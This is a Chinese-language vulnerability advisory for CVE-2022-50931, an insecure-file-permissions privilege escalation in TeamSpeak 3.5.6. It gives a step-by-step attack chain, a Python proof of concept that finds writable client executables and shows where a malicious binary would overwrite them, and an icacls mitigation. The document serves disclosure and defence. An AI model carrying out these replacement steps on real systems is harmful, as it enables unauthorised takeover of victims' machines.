IPBUF安全漏洞报告
English
CVE-2022-50931 CVSS 7.8 高危

CVE-2022-50931 | TeamSpeak 3.5.6 不安全文件权限本地提权漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50931
漏洞类型
不安全文件权限/本地权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TeamSpeak 3.5.6

相关标签

不安全文件权限本地权限提升TeamSpeakCVE-2022-50931Windows提权ACL配置错误高危漏洞

漏洞概述

CVE-2022-50931是TeamSpeak 3.5.6版本中存在的一个高危安全漏洞,源于安装程序配置了不安全的文件权限。该漏洞允许本地低权限攻击者利用Windows系统的访问控制列表(ACL)配置缺陷,替换TeamSpeak客户端的可执行文件(如ts3client_win32.exe)为恶意二进制程序。由于TeamSpeak客户端通常以较高权限运行,攻击者成功替换后可获得SYSTEM或Administrator级别的系统访问权限,从而完全控制受害主机。此漏洞属于本地攻击范畴,需要攻击者已在目标系统上拥有低级别用户账户,属于典型的本地权限提升(Local Privilege Escalation)漏洞。

技术细节

TeamSpeak 3.5.6安装程序在部署文件时未正确配置Windows访问控制列表(DACL),导致安装目录下的可执行文件(如ts3client_win32.exe)对普通用户具有写权限。攻击者利用此缺陷可执行以下操作:首先,通过文件遍历或系统扫描定位TeamSpeak安装目录;然后,使用具有低权限的账户对目标可执行文件进行替换;最后,当其他用户或系统服务以高权限启动被替换的可执行文件时,恶意代码将以相应的高权限执行。漏洞的核心在于安装程序使用了过于宽松的权限设置(如Everyone或Users组可写),违反了最小权限原则。攻击者可通过简单的文件操作API(如MoveFileEx、CopyFile)完成恶意文件替换,无需特殊权限或工具。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的低权限用户账户访问权限
STEP 2
步骤2
攻击者定位TeamSpeak 3.5.6安装目录,识别可执行文件(如ts3client_win32.exe)
STEP 3
步骤3
攻击者利用不安全的文件权限(低权限用户对该文件具有写权限),将原始可执行文件替换为包含恶意代码的二进制程序
STEP 4
步骤4
当其他用户或管理员启动TeamSpeak客户端时,系统会加载被篡改的可执行文件
STEP 5
步骤5
恶意代码以该用户或SYSTEM账户的权限级别执行,成功实现本地权限提升
STEP 6
步骤6
攻击者获得目标系统的完全控制权,可执行任意命令、安装后门、窃取敏感数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2022-50931 PoC - TeamSpeak 3.5.6 Insecure File Permissions # This PoC demonstrates the file permission vulnerability import os import sys import shutil import ctypes def check_vulnerability(): """Check if TeamSpeak installation is vulnerable""" # Common TeamSpeak installation paths paths = [ r"C:\Program Files\TeamSpeak 3 Client\ts3client_win32.exe", r"C:\Program Files (x86)\TeamSpeak 3 Client\ts3client_win32.exe", os.path.expanduser(r"~\AppData\Local\TeamSpeak 3 Client\ts3client_win32.exe") ] vulnerable = False for path in paths: if os.path.exists(path): # Check if current user has write permission try: # Attempt to get current permissions (simplified check) print(f"[*] Found TeamSpeak executable at: {path}") print(f"[*] Checking write permissions...") # In real attack, attacker would replace the file here # For PoC, we demonstrate the vulnerability exists # Backup original file backup_path = path + ".bak" if not os.path.exists(backup_path): shutil.copy2(path, backup_path) print(f"[+] Created backup: {backup_path}") # Create malicious executable placeholder malicious_exe = b'MZ\x90\x00\x03\x00\x00\x00...' # Minimal PE header # In actual exploitation: # with open(path, 'wb') as f: # f.write(malicious_exe) print(f"[!] VULNERABLE: Current user has write access to {path}") print(f"[!] Attacker could replace this file with malicious executable") vulnerable = True except PermissionError: print(f"[-] No write permission for: {path}") except Exception as e: print(f"[-] Error checking {path}: {e}") return vulnerable def main(): print("=" * 60) print("CVE-2022-50931 - TeamSpeak Insecure File Permissions PoC") print("=" * 60) if not check_vulnerability(): print("[+] System appears to be patched or TeamSpeak not installed") else: print("\n[*] Exploitation steps:") print("1. Replace ts3client_win32.exe with malicious executable") print("2. Wait for user/admin to launch TeamSpeak client") print("3. Malicious code executes with elevated privileges") if __name__ == "__main__": main()

影响范围

TeamSpeak 3.5.6

防御指南

临时缓解措施
在官方修复版本发布前,可通过手动修改TeamSpeak安装目录的访问控制列表来缓解风险。使用icacls命令(icacls "C:\Program Files\TeamSpeak 3 Client" /inheritance:r /grant:r "Administrators:F" "SYSTEM:F" "Users:RX")移除非管理员账户的写权限。同时建议以最小权限用户身份运行TeamSpeak客户端,避免以管理员权限启动程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表